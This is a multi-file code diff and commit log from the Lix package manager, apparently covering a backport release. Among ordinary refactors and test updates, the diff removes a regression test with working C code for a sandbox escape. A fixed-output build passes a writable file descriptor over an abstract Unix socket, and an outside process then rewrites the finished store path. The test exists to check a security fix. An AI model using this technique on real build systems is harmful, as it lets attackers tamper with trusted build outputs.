 # include <sys/prctl.h>
 # include <sys/mman.h>
 #endif
@@ -248,7 +249,7 @@ std::pair<int, std::string> runProgram(RunOptions && options)

    try {
        auto proc = runProgram2(options);
-        Finally const _wait([&] { proc.wait(); });
+        Finally const _wait([&] { proc.waitAndCheck(); });
        stdout = proc.getStdout()->drain();
    } catch (ExecError & e) {
        status = e.status;
@@ -276,7 +277,22 @@ RunningProgram::~RunningProgram()
    }
 }

-void RunningProgram::wait()
+std::tuple<pid_t, std::unique_ptr<Source>, int> RunningProgram::release()
+{
+    return {pid.release(), std::move(stdoutSource), stdout_.release()};
+}
+
+int RunningProgram::kill()
+{
+    return pid.kill();
+}
+
+int RunningProgram::wait()
+{
+    return pid.wait();
+}
+
+void RunningProgram::waitAndCheck()
 {
    if (std::uncaught_exceptions() == 0) {
        int status = pid.wait();
@@ -314,12 +330,21 @@ RunningProgram runProgram2(const RunOptions & options)
            replaceEnv(*options.environment);
        if (options.captureStdout && dup2(out.writeSide.get(), STDOUT_FILENO) == -1)
            throw SysError("dupping stdout");
-        if (options.mergeStderrToStdout)
-            if (dup2(STDOUT_FILENO, STDERR_FILENO) == -1)
-                throw SysError("cannot dup stdout into stderr");
+        for (auto redirection : options.redirections) {
+            if (dup2(redirection.to, redirection.from) == -1) {
+                throw SysError("dupping fd %i to %i", redirection.from, redirection.to);
+            }
+        }

        if (options.chdir && chdir((*options.chdir).c_str()) == -1)
            throw SysError("chdir failed");
+
+#if __linux__
+        if (!options.caps.empty() && prctl(PR_SET_KEEPCAPS, 1) < 0) {
+            throw SysError("setting keep-caps failed");
+        }
+#endif
+
        if (options.gid && setgid(*options.gid) == -1)
            throw SysError("setgid failed");
        /* Drop all other groups if we're setgid. */
@@ -328,6 +353,45 @@ RunningProgram runProgram2(const RunOptions & options)
        if (options.uid && setuid(*options.uid) == -1)
            throw SysError("setuid failed");

+#if __linux__
+        if (!options.caps.empty()) {
+            if (prctl(PR_SET_KEEPCAPS, 0)) {
+                throw SysError("clearing keep-caps failed");
+            }
+
+            // we do the capability dance like this to avoid a dependency
+            // on libcap, which has a rather large build closure and many
+            // more features that we need for now. maybe some other time.
+            static constexpr uint32_t LINUX_CAPABILITY_VERSION_3 = 0x20080522;
+            static constexpr uint32_t LINUX_CAPABILITY_U32S_3 = 2;
+            struct user_cap_header_struct
+            {
+                uint32_t version;
+                int pid;
+            } hdr = {LINUX_CAPABILITY_VERSION_3, 0};
+            struct user_cap_data_struct
+            {
+                uint32_t effective;
+                uint32_t permitted;
+                uint32_t inheritable;
+            } data[LINUX_CAPABILITY_U32S_3] = {};
+            for (auto cap : options.caps) {
+                assert(cap / 32 < LINUX_CAPABILITY_U32S_3);
+                data[cap / 32].permitted |= 1 << (cap % 32);
+                data[cap / 32].inheritable |= 1 << (cap % 32);
+            }
+            if (syscall(SYS_capset, &hdr, data)) {
+                throw SysError("couldn't set capabilities");
+            }
+
+            for (auto cap : options.caps) {
+                if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0) < 0) {
+                    throw SysError("couldn't set ambient caps");
+                }
+            }
+        }
+#endif
+
        Strings args_(options.args);
        args_.push_front(options.program);

@@ -76,6 +76,11 @@ std::string runProgram(Path program, bool searchPath = false,

 struct RunOptions
 {
+    struct Redirection
+    {
+        int from, to;
+    };
+
    Path program;
    bool searchPath = true;
    Strings args;
@@ -84,8 +89,11 @@ struct RunOptions
    std::optional<Path> chdir;
    std::optional<std::map<std::string, std::string>> environment;
    bool captureStdout = false;
-    bool mergeStderrToStdout = false;
    bool isInteractive = false;
+    std::vector<Redirection> redirections;
+#if __linux__
+    std::set<long> caps;
+#endif
 };

 struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram
@@ -102,9 +110,23 @@ private:

 public:
    RunningProgram() = default;
+    RunningProgram(RunningProgram &&) = default;
+    RunningProgram & operator=(RunningProgram &&) = default;
    ~RunningProgram();

-    void wait();
+    explicit operator bool() const { return bool(pid); }
+
+    std::tuple<pid_t, std::unique_ptr<Source>, int> release();
+
+    int kill();
+    [[nodiscard]]
+    int wait();
+    void waitAndCheck();
+
+    std::optional<int> getStdoutFD() const
+    {
+        return stdout_ ? std::optional(stdout_.get()) : std::nullopt;
+    }

    Source * getStdout() const { return stdoutSource.get(); };
 };
@@ -53,7 +53,7 @@ void RefScanSink::operator () (std::string_view data)
       previous fragment and the start of the current fragment. */
    auto s = tail;
    auto tailLen = std::min(data.size(), refLength);
-    s.append(data.data(), tailLen);
+    s.append(data.data(), tailLen); // NOLINT(bugprone-suspicious-stringview-data-usage)
    search(s, hashes, seen);

    search(data, hashes, seen);
@@ -75,7 +75,6 @@ void Source::operator () (char * data, size_t len)

 void Source::drainInto(Sink & sink)
 {
-    std::string s;
    std::array<char, 8192> buf;
    while (true) {
        size_t n;
@@ -251,7 +250,7 @@ Error readError(Source & source)
    auto type = readString(source);
    assert(type == "Error");
    auto level = (Verbosity) readInt(source);
-    auto name = readString(source); // removed
+    readString(source); // removed (name)
    auto msg = readString(source);
    ErrorInfo info {
        .level = level,
@@ -34,7 +34,7 @@ bool shouldANSI(StandardOutputStream fileno)
 // FIXME(jade): replace with TerminalCodeEater. wowie this is evil code.
 std::string filterANSIEscapes(std::string_view s, bool filterAll, unsigned int width, bool eatTabs)
 {
-    std::string t, e;
+    std::string t;
    size_t w = 0;
    auto i = s.begin();

@@ -80,12 +80,18 @@ typename T::mapped_type * get(T & map, const typename T::key_type & key)
 * Get a value for the specified key from an associate container, or a default value if the key isn't present.
 */
 template <class T>
-const typename T::mapped_type & getOr(T & map,
+const typename T::mapped_type & getOr(
+    T & map [[clang::lifetimebound]],
    const typename T::key_type & key,
-    const typename T::mapped_type & defaultValue)
+    const typename T::mapped_type & defaultValue [[clang::lifetimebound]]
+)
 {
    auto i = map.find(key);
-    if (i == map.end()) return defaultValue;
+    if (i == map.end()) {
+        /* FIXME(Raito): `[[clang::lifetimebound]]` has no effect on `defaultValue` warning. */
+        // NOLINTNEXTLINE(bugprone-return-const-ref-from-parameter)
+        return defaultValue;
+    }
    return i->second;
 }

@@ -1313,7 +1313,7 @@ static void opSwitchGeneration(Globals & globals, Strings opFlags, Strings opArg
        throw UsageError("exactly one argument expected");

    if (auto dstGen = string2Int<GenerationNumber>(opArgs.front()))
-        switchGeneration(globals.profile, *dstGen, globals.dryRun);
+        switchGeneration(globals.profile, dstGen, globals.dryRun);
    else
        throw UsageError("expected a generation number");
 }
@@ -116,8 +116,6 @@ struct CmdBundle : InstallableCommand
            },
        });

-        auto outPathS = store->printStorePath(outPath);
-
        if (!outLink) {
            auto * attr = vRes->attrs->get(evalState->sName);
            if (!attr)
@@ -114,7 +114,7 @@ struct CmdPathInfo : StorePathsCommand, MixJSON
                    std::cout << '\t';
                    Strings ss;
                    if (info->ultimate) ss.push_back("ultimate");
-                    if (info->ca) ss.push_back("ca:" + renderContentAddress(*info->ca));
+                    if (info->ca) ss.push_back("ca:" + renderContentAddress(info->ca));
                    for (auto & sig : info->sigs) ss.push_back(sig);
                    std::cout << concatStringsSep(" ", ss);
                }
@@ -160,7 +160,6 @@ struct CmdSearch : InstallableCommand, MixJSON
                                {"description", description},
                            };
                        } else {
-                            auto name2 = hiliteMatches(name.name, nameMatches, ANSI_GREEN, "\e[0;2m");
                            if (results > 1) logger->cout("");
                            logger->cout(
                                "* %s%s",
@@ -40,13 +40,9 @@ struct CmdCopySigs : StorePathsCommand

        ThreadPool pool;

-        std::string doneLabel = "done";
        std::atomic<size_t> added{0};

-        //logger->setExpected(doneLabel, storePaths.size());
-
        auto doPath = [&](const Path & storePathS) {
-            //Activity act(*logger, lvlInfo, "getting signatures for '%s'", storePath);

            checkInterrupt();

@@ -78,8 +74,6 @@ struct CmdCopySigs : StorePathsCommand
                store->addSignatures(storePath, newSigs);
                added += newSigs.size();
            }
-
-            //logger->incProgress(doneLabel);
        };

        for (auto & storePath : storePaths)
@@ -34,6 +34,7 @@ private:
                                  OptionalFileEntryRef File,
                                  StringRef SearchPath, StringRef RelativePath,
                                  const Module *Imported,
+                                  bool ModuleImported,
                                  SrcMgr::CharacteristicKind FileType) override;
 };

@@ -46,7 +47,7 @@ void FixIncludesCallbacks::LexedFileChanged(FileID, LexedFileChangeReason,
 void FixIncludesCallbacks::InclusionDirective(
    SourceLocation, const Token &, StringRef FileName, bool IsAngled,
    CharSourceRange FilenameRange, OptionalFileEntryRef File, StringRef,
-    StringRef, const Module *, SrcMgr::CharacteristicKind) {
+    StringRef, const Module *, bool, SrcMgr::CharacteristicKind) {
  if (Ignore)
    return;

@@ -8,7 +8,6 @@ requireSandboxSupport
 [[ $busybox =~ busybox ]] || skipTest "no busybox"

 unset NIX_STORE_DIR
-unset NIX_STATE_DIR

 # We first build a dependency of the derivation we eventually want to
 # build.
@@ -2,7 +2,6 @@ requireSandboxSupport
 [[ $busybox =~ busybox ]] || skipTest "no busybox"

 unset NIX_STORE_DIR
-unset NIX_STATE_DIR

 remoteDir=$TEST_ROOT/remote

@@ -3,7 +3,6 @@ requireSandboxSupport

 # Avoid store dir being inside sandbox build-dir
 unset NIX_STORE_DIR
-unset NIX_STATE_DIR

 function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; }

@@ -81,4 +80,4 @@ out="$(nix-build 2>&1 failing.nix \
 [[ "$out" =~ .*"note: keeping build directory".* ]]

 build_dir="$(grep "note: keeping build" <<< "$out" | sed -E "s/^(.*)note: keeping build directory '(.*)'(.*)$/\2/")"
-[[ "foo" = $(<"$build_dir"/bar) ]]
+[[ "foo" = $(<"$build_dir"/b/bar) ]]
@@ -170,3 +170,28 @@ test "$(<<<"$out" grep -E '^error:' | wc -l)" = 3
 <<<"$out" grepQuiet -E "error: 2 dependencies of derivation '.*-x4\\.drv' failed to build"
 <<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'"
 <<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'"
+
+# Ensure when if the system build dir is inaccessible, we can still build things
+BUILD_DIR=$(mktemp -d)
+chmod 0000 "$BUILD_DIR"
+nix --build-dir "$BUILD_DIR" build -E 'with import ./config.nix; mkDerivation { name = "test"; buildCommand = "echo rawr > $out"; }' --impure --no-link
+
+# ensure that the build directory parent is not world-accessible
+chmod 0755 "$BUILD_DIR"
+FIFO="$BUILD_DIR/fifo"
+mkfifo "$FIFO"
+(
+  echo > "$FIFO"
+  trap 'echo > "$FIFO"' EXIT
+  mode=$(stat -c %a $BUILD_DIR/b/*)
+  [ "$mode" = "700" -o "$mode" = "710" ]
+) &
+nix build --build-dir "$BUILD_DIR/b" -E '
+  with import ./config.nix; mkDerivation {
+    name = "test";
+    buildCommand = "cat '"$FIFO"'; cat '"$FIFO"' > $out";
+  }' \
+  --extra-sandbox-paths "$FIFO" \
+  --impure \
+  --no-link
+wait
@@ -45,7 +45,7 @@ test_custom_build_dir() {
  [ "$status" = "100" ]
  [[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
  local buildDir="$customBuildDir/nix-build-"*
-  grep $checkBuildId $buildDir/checkBuildId
+  grep $checkBuildId $buildDir/b/checkBuildId
 }
 test_custom_build_dir

@@ -1,12 +1,11 @@
  nix-repl> 1 + 1
  2

-  nix-repl> :doc builtins.head
-  Synopsis: builtins.head list
+  nix-repl> :doc builtins.add
+  Synopsis: builtins.add e1 e2
+
+      Return the sum of the numbers e1 and e2.

-      Return the first element of a list; abort evaluation if
-      the argument isn’t a list or is an empty list. You can
-      test whether a list is empty by comparing it with [].

  nix-repl> f = a: "" + a

@@ -10,7 +10,6 @@ unshare --mount --map-root-user bash <<EOF

  # Avoid store dir being inside sandbox build-dir
  unset NIX_STORE_DIR
-  unset NIX_STATE_DIR

  setLocalStore () {
    export NIX_REMOTE=\$TEST_ROOT/\$1
@@ -1,90 +0,0 @@
-# Nix is a sandboxed build system. But Not everything can be handled inside its
-# sandbox: Network access is normally blocked off, but to download sources, a
-# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
-# The detail here is not important, but in our case it means that the hash of
-# the output has to be known beforehand. And if you know that, you get a few
-# rights: you no longer run inside a special network namespace!
-#
-# Now, Linux has a special feature, that not many other unices do: Abstract
-# unix domain sockets! Not only that, but those are namespaced using the
-# network namespace! That means that we have a way to create sockets that are
-# available in every single fixed-output derivation, and also all processes
-# running on the host machine! Now, this wouldn't be that much of an issue, as,
-# well, the whole idea is that the output is pure, and all processes in the
-# sandbox are killed before finalizing the output. What if we didn't need those
-# processes at all? Unix domain sockets have a semi-known trick: you can pass
-# file descriptors around!
-# This makes it possible to exfiltrate a file-descriptor with write access to
-# $out outside of the sandbox. And that file-descriptor can be used to modify
-# the contents of the store path after it has been registered.
-
-{ config, ... }:
-
-let
-  pkgs = config.nodes.machine.nixpkgs.pkgs;
-
-  # Simple C program that sends a a file descriptor to `$out` to a Unix
-  # domain socket.
-  # Compiled statically so that we can easily send it to the VM and use it
-  # inside the build sandbox.
-  sender = pkgs.runCommandWith {
-    name = "sender";
-    stdenv = pkgs.pkgsStatic.stdenv;
-  } ''
-    $CC -static -o $out ${./sender.c}
-  '';
-
-  # Okay, so we have a file descriptor shipped out of the FOD now. But the
-  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
-  # lives in a mount namespace where it is not! So even when this file exists
-  # in the actual Nix store, we're capable of just modifying its contents...
-  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
-
-  # The abstract socket path used to exfiltrate the file descriptor
-  socketName = "FODSandboxExfiltrationSocket";
-in
-{
-  name = "ca-fd-leak";
-
-  nodes.machine =
-    { config, lib, pkgs, ... }:
-    { virtualisation.writableStore = true;
-      nix.settings.substituters = lib.mkForce [ ];
-      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
-    };
-
-  testScript = { nodes }: ''
-    start_all()
-
-    machine.succeed("echo hello")
-    # Start the smuggler server
-    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
-
-    # Build the smuggled derivation.
-    # This will connect to the smuggler server and send it the file descriptor
-    machine.succeed(r"""
-      nix-build -E '
-        builtins.derivation {
-          name = "smuggled";
-          system = builtins.currentSystem;
-          # look ma, no tricks!
-          outputHashMode = "flat";
-          outputHashAlgo = "sha256";
-          outputHash = builtins.hashString "sha256" "hello, world\n";
-          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
-          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
-      }'
-    """.strip())
-
-
-    # Tell the smuggler server that we're done
-    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
-
-    # Check that the file was not modified
-    machine.succeed(r"""
-      cat ./result
-      test "$(cat ./result)" = "hello, world"
-    """.strip())
-  '';
-
-}
@@ -1,65 +0,0 @@
-#include <sys/socket.h>
-#include <sys/un.h>
-#include <stdlib.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <assert.h>
-
-int main(int argc, char **argv) {
-
-    assert(argc == 2);
-
-    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-
-    // Set up a abstract domain socket path to connect to.
-    struct sockaddr_un data;
-    data.sun_family = AF_UNIX;
-    data.sun_path[0] = 0;
-    strcpy(data.sun_path + 1, argv[1]);
-
-    // Now try to connect, To ensure we work no matter what order we are
-    // executed in, just busyloop here.
-    int res = -1;
-    while (res < 0) {
-        res = connect(sock, (const struct sockaddr *)&data,
-            offsetof(struct sockaddr_un, sun_path)
-              + strlen(argv[1])
-              + 1);
-        if (res < 0 && errno != ECONNREFUSED) perror("connect");
-        if (errno != ECONNREFUSED) break;
-    }
-
-    // Write our message header.
-    struct msghdr msg = {0};
-    msg.msg_control = malloc(128);
-    msg.msg_controllen = 128;
-
-    // Write an SCM_RIGHTS message containing the output path.
-    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-    hdr->cmsg_len = CMSG_LEN(sizeof(int));
-    hdr->cmsg_level = SOL_SOCKET;
-    hdr->cmsg_type = SCM_RIGHTS;
-    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
-    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
-
-    msg.msg_controllen = CMSG_SPACE(sizeof(int));
-
-    // Write a single null byte too.
-    msg.msg_iov = malloc(sizeof(struct iovec));
-    msg.msg_iov[0].iov_base = "";
-    msg.msg_iov[0].iov_len = 1;
-    msg.msg_iovlen = 1;
-
-    // Send it to the othher side of this connection.
-    res = sendmsg(sock, &msg, 0);
-    if (res < 0) perror("sendmsg");
-    int buf;
-
-    // Wait for the server to close the socket, implying that it has
-    // received the commmand.
-    recv(sock, (void *)&buf, sizeof(int), 0);
-}
@@ -1,66 +0,0 @@
-#include <sys/socket.h>
-#include <sys/un.h>
-#include <stdlib.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <assert.h>
-
-int main(int argc, char **argv) {
-
-    assert(argc == 2);
-
-    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
-
-    // Bind to the socket.
-    struct sockaddr_un data;
-    data.sun_family = AF_UNIX;
-    data.sun_path[0] = 0;
-    strcpy(data.sun_path + 1, argv[1]);
-    int res = bind(sock, (const struct sockaddr *)&data,
-        offsetof(struct sockaddr_un, sun_path)
-        + strlen(argv[1])
-        + 1);
-    if (res < 0) perror("bind");
-
-    res = listen(sock, 1);
-    if (res < 0) perror("listen");
-
-    int smuggling_fd = -1;
-
-    // Accept the connection a first time to receive the file descriptor.
-    fprintf(stderr, "%s\n", "Waiting for the first connection");
-    int a = accept(sock, 0, 0);
-    if (a < 0) perror("accept");
-
-    struct msghdr msg = {0};
-    msg.msg_control = malloc(128);
-    msg.msg_controllen = 128;
-
-    // Receive the file descriptor as sent by the smuggler.
-    recvmsg(a, &msg, 0);
-
-    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
-    while (hdr) {
-        if (hdr->cmsg_level == SOL_SOCKET
-          && hdr->cmsg_type == SCM_RIGHTS) {
-
-            // Grab the copy of the file descriptor.
-            memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
-        }
-
-        hdr = CMSG_NXTHDR(&msg, hdr);
-    }
-    fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
-    close(a);
-
-    // Wait for a second connection, which will tell us that the build is
-    // done
-    a = accept(sock, 0, 0);
-    fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
-    // Write a new content to the file
-    if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
-    char * new_content = "Pwned\n";
-    int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
-    if (written_bytes != strlen(new_content)) perror("write");
-}
@@ -12,6 +12,8 @@ let
      defaults = {
        nixpkgs.pkgs = nixpkgsFor.${system}.native;
        nix.checkAllErrors = false;
+        # nixos-option fails to build with lix and no tests use any of the tools
+        system.disableInstallerTools = true;
      };
      _module.args.nixpkgs = nixpkgs;
      _module.args.system = system;
@@ -142,8 +144,6 @@ in
    ["i686-linux" "x86_64-linux"]
    (system: runNixOSTestFor system ./setuid/setuid.nix);

-  ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
-
  fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;

  symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix;
@@ -52,7 +52,7 @@ in

      security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];

-      networking.hosts."127.0.0.1" = [ "good" "bad" ];
+      networking.hosts."192.168.1.1" = [ "good" "bad" ];

      virtualisation.writableStore = true;

@@ -76,7 +76,7 @@ in
    # Fetching from a server with an untrusted cert should fail.
    err = machine.fail("nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }' 2>&1")
    print(err)
-    assert "SSL certificate problem: self-signed certificate" in err or "SSL peer certificate or SSH remote key was not OK" in err
+    assert "SSL peer certificate or SSH remote key was not OK" in err

    # Fetching from a server with a trusted cert should work via environment variable override.
    machine.succeed("NIX_SSL_CERT_FILE=/tmp/cafile.pem nix build --no-substitute --expr 'import <nix/fetchurl.nix> { url = \"https://bad/index.html\"; hash = \"sha256-rsBwZF/lPuOzdjBZN2E08FjMM3JHyXit0Xi2zN+wAZ8=\"; }'")
@@ -45,12 +45,12 @@ in {
    server.wait_for_unit("network-online.target")
    client.wait_for_unit("network-online.target")

-    client.succeed("mkdir -m 700 /root/.ssh")
+    client.succeed("mkdir -m 700 /root/.ssh || [[ -d /root/.ssh ]]")
    client.copy_from_host("key", "/root/.ssh/id_ed25519")
    client.succeed("chmod 600 /root/.ssh/id_ed25519")

    # Install the SSH key on the server.
-    server.succeed("mkdir -m 700 /root/.ssh")
+    server.succeed("mkdir -m 700 /root/.ssh || [[ -d /root/.ssh ]]")
    server.copy_from_host("key.pub", "/root/.ssh/authorized_keys")
    server.wait_for_unit("sshd.service")
    client.succeed(f"ssh -o StrictHostKeyChecking=no {server.name} 'echo hello world' >&2")
@@ -48,6 +48,7 @@ in
          imports = [ test.config.builders.config ];
          services.openssh.enable = true;
          virtualisation.writableStore = true;
+          virtualisation.additionalPaths = [ config.system.build.extraUtils ];
          nix.settings.sandbox = true;
          nix.settings.substituters = lib.mkForce [ ];
        };
@@ -1,5 +1,5 @@
 {
-    "version": "2.91.1",
+    "version": "2.91.3",
    "official_release": false,
    "release_name": "Dragon's Breath"
 }
Author	SHA1	Message	Date
Alois Wohlschlager	528a66807d	Enable nixpkgsLibTests again The required nixpkgs bumps have now been performed. Change-Id: I6a6a6964316f8434c355405c52b0a7b7f70b4332	2025-09-08 20:26:44 +02:00
Alois Wohlschlager	88412da7a9	flake: update nixpkgs input Without https://github.com/NixOS/nixpkgs/pull/434761 evaluation of the `nixpkgsLibTests` will fail in CI with recent enough Lix, due to reliance on the TOML integer saturation bug. Reported-by: Sergei Zimmerman <sergei@zimmerman.foo> Change-Id: I6a6a6964838009d2c525f67035f84072fdfad988	2025-09-08 20:26:44 +02:00
Raito Bezarius Alois Wohlschlager eldritch horrors helle	5a38f5bb8d	flake/inputs: 24.11-small -> 25.05-small We upgrade to 25.05 release, which contains the curl commit https://github.com/curl/curl/commit/5fbd78eb2dc4afbd8884e8eed27147fc3d4318f6 done in https://github.com/NixOS/nixpkgs/pull/396200#issuecomment-2795944006. This fixes HTTP transfers generating arbitrary errors and possibly failing unusually. Users who are already depending on 25.05-small or a recent unstable already had the fix. Special mention to the Linux kernel who gave me the opportunity to get on a 24 hours bisection side quest to fix the local release engineering test. Special thanks to everyone who had to endure me ranting. Change-Id: I866caf65d5ea103f1fa5eccd57df8031c9eacda0 Co-authored-by: eldritch horrors <pennae@lix.systems> Co-authored-by: helle <helle@h3l.li> Co-authored-by: Alois Wohlschlager <alois1@gmx-topmail.de> Signed-off-by: Raito Bezarius <raito@lix.systems>	2025-09-08 20:26:44 +02:00
K900andAlois Wohlschlager	4caa5bac31	perl: drop version check Meson started handling those differently[0], and Perl 5.8 is old enough that anyone running an even older Perl is honestly asking for it. [0]: https://github.com/mesonbuild/meson/commit/a3679a64eec7c312c81d657880f34f015426c7db Change-Id: Ifba22e38a82abf4b6965dda0eed43a3064533d25	2025-09-08 19:18:09 +02:00
Artemis TosiniandAlois Wohlschlager	fc16b50d37	flake: Use nixpkgs 24.11 nixpkgs 24.11 changes how we access xonsh yet again and updates clang. Unfortunately, clang 18 produces significantly more warnings on existing code that is challenging to fix. Make sure that doesn't error when we're running `-Werror` builds. n.b. I had to change the "SSL certificate problem: self-signed certificate" to the old error prior to the improved libcurl errors, since what is presumably a difference in which TLS library is used has cropped up between releases? Either way the curl error buffer is empty. Seems like we aggressively cannot do anything about this. Co-authored-by: eldritch horrors <pennae@lix.systems> Change-Id: If0141a46a8b445a0e7d6f86f939e8c8e03569bf5	2025-09-08 19:18:09 +02:00
Jade LovelaceandAlois Wohlschlager	6163dea01c	tree-wide: fix a pile of lints Mostly these are bugprone-unused-local-non-trivial-variable. Also fix instances of: - bugprone-optional-value-conversion - bugprone-inc-dec-in-conditions (please check this loop is correct, it is the only non trivial code change in here) - bugprone-unused-return-value (well, by fixing the lint config) There are three notable changes relating to undefined vars: - openLogFile ignoring the result. This is because openLogFile does a whole bunch of mutation of member variables - hiliteMatches: i am guessing this is because showing the derivation name was unhelpful and it just got changed - canonPath in NarAccessor: canonPath inside of a thing that is supposed to be vfs based cannot possibly be correct, so let's delete it given it is unused. Fixes: https://git.lix.systems/lix-project/lix/issues/584 Change-Id: I887adc9ff28b61f726dcfed197e6796b414c2fcf	2025-09-08 19:17:29 +02:00
Alois Wohlschlager	03dbf4a74b	Disable nixpkgsLibTests temporarily Several nixpkgs bumps up to https://github.com/NixOS/nixpkgs/pull/434761 will be required to fix them. Disable the tests temporarily to avoid having to squash all the backports, which would lose history. Change-Id: I6a6a6964029a3442c4691e74a52923e3f59d6448	2025-09-08 18:17:48 +02:00
sternenseemann	ecff59d773	libcmd: add support for lowdown >= 1.4 lowdown 1.4.0 changed the lowdown_opts to include a new and separate lowdown_opts_term which allows for configuring values specific to -Tterm (which we're using). This version should have been called 2.0.0 according to semver, hence 2.0.0 was released later without any actual breaking changes to sort of migitate the problem. We need to support lowdown >= 1.3 && < 1.4 since the ship has sailed for updating lowdown in NixOS 25.05 as well as lowdown >= 1.4 or we'll be stuck in Nixpkgs forever. Support for < 1.4 can be dropped as soon as NixOS 25.05 is EOL, assuming this change lands before NixOS 25.11 branch-off. We detect the changed API based on the lowdown version from pkg-config and define LOWDOWN_SEPARATE_TERM_OPTS based on that. The ifdef is named according to the specific API change that impacts us, so that it's hopefully a little simpler to maintain going forward. In the new API, all newly configurable settings use what would have been the (implicit) default before. Changing some of these values, especially hpadding, could be interesting in future changes. Compared to cl/3081, this change makes sure to initialize all new fields of lowdown_opts_term explicitly. It seems that, while making -Tterm more configurable, lowdown's word wrapping behavior changed slightly which broke basic_repl.test. I've chosen to work around this by using builtins.add as an example which has a very short documentation string, so wrapping doesn't matter. Change-Id: Id73be4c0e43d7eb4f56e10a261b4254402698ff8 (cherry picked from commit `858de5f47a`)	2025-07-23 21:42:40 +00:00
eldritch horrors	fc9f7096d3	libstore: weaken tmpdir root access mode libarchive should not break with 0710 on the tmpdir root on darwin, just like it doesn't break on linux, but for some reason it does. the restriction to 0710 can be weakened to 0750 with causing any trouble. fixes #921 Change-Id: Ia9fc2f8eb9695fc19cefae9857368d5a4e58c8b9	2025-07-20 16:58:24 +00:00
eldritch horrorsandRaito Bezarius	aa9739caa7	libstore: add intermediate directory to build-dirs this makes the actual build directories used by builders invisible and inaccessible to other processes on the system, avoiding another vector for outside processes to interfere with builds or pass credentials the build sandbox should not have access to into the build sandbox anyway. fixes #919 Change-Id: Ifaa4d8e3940cfde1406e925f75c1375d2e86d81a (cherry picked from commit `9d5a5c4dc0`)	2025-07-18 03:57:34 +02:00
Raito Bezarius	47fb192fee	release: merge release 2.91.3 back to mainline This merge commit returns to the previous state prior to the release but leaves the tag in the branch history. Release created with releng/create_release.xsh Change-Id: I486210640ffcdddc2c2b1ee066bf6850d4fb93fa	2025-06-30 00:03:53 +02:00
Raito Bezarius	3a8c42c1bf	release: 2.91.3 "Dragon's Breath" Release produced with releng/create_release.xsh Change-Id: I68ab3b251290a9ca8b98866d4de816787a551496	2025-06-30 00:03:53 +02:00
Raito Bezarius	1bb22839d3	release: release notes for 2.91.3 Release created with releng/create_release.xsh Change-Id: I934446f3119a091f27350d4f47a3f0c8ef84c97b	2025-06-30 00:03:47 +02:00
Raito Bezarius	008f44beff	version: 2.91.2 -> 2.91.3 Resolves critical correctness bugs as per fj#883. These bugs were introduced in the previous release for the CVE bugfixes. Change-Id: I4a9f82e1fbf87403d67450e79478a711a587f07d Signed-off-by: Raito Bezarius <raito@lix.systems>	2025-06-29 21:44:57 +02:00
EmilyandRaito Bezarius	49c27760c1	libstore: fix Unix sockets in the build directory on sandboxed macOS We’re already allowing `/tmp` anyway, so this should be harmless, and it fixes a regression in the default configuration caused by moving the build directories out of `temp-dir`. (For instance, that broke the Lix `guessOrInventPath.sockets` test.) Note that removing `/tmp` breaks quite a few builds, so although it may be a good idea in general it would require work on the Nixpkgs side. Fixes: `749afbbe99` Change-Id: I6a6a69645f429bc50d4cb24283feda3d3091f534 (cherry picked from commit `d1db3e5fa3`)	2025-06-29 21:44:57 +02:00
Raito Bezarius	9638c4cd92	libstore: fallback on creating a safe space in the default tempdir If `settings.buildDir` cannot be written to, because we are in a chroot store, unprivileged or anything. We can and should always gracefully fallback to a secure location inside of /tmp, i.e. `/tmp/<a directory under 0700>/<our temporary directory for build under 0700>/...`. This does not reintroduce CVE-2025-52991 because we are creating a directory in-between compared to creating only ONE level of directory. Under macOS, the first level of directory has actually mode 0755 instead of 0700 as macOS often do not possess the right primitives to chroot inside of these directories, leading to https://github.com/NixOS/nix/pull/11031. Thanks to Emily for the heads-up on this type of matter. Fixes #876. Change-Id: Ie521202923f763225e1901ab1b9b6c6132aaf548 Signed-off-by: Raito Bezarius <raito@lix.systems>	2025-06-29 21:44:57 +02:00
eldritch horrorsandRaito Bezarius	92cc6193e0	Revert "libstore/build: automatic clean up of unsuccessfully built scratch outputs" This reverts commit `a2189bcb2e` as this is the root cause of the critical correctness bug. Change-Id: Ic85d3d670dc9488d49f03988fe42feb0cf0e7084	2025-06-29 21:44:57 +02:00
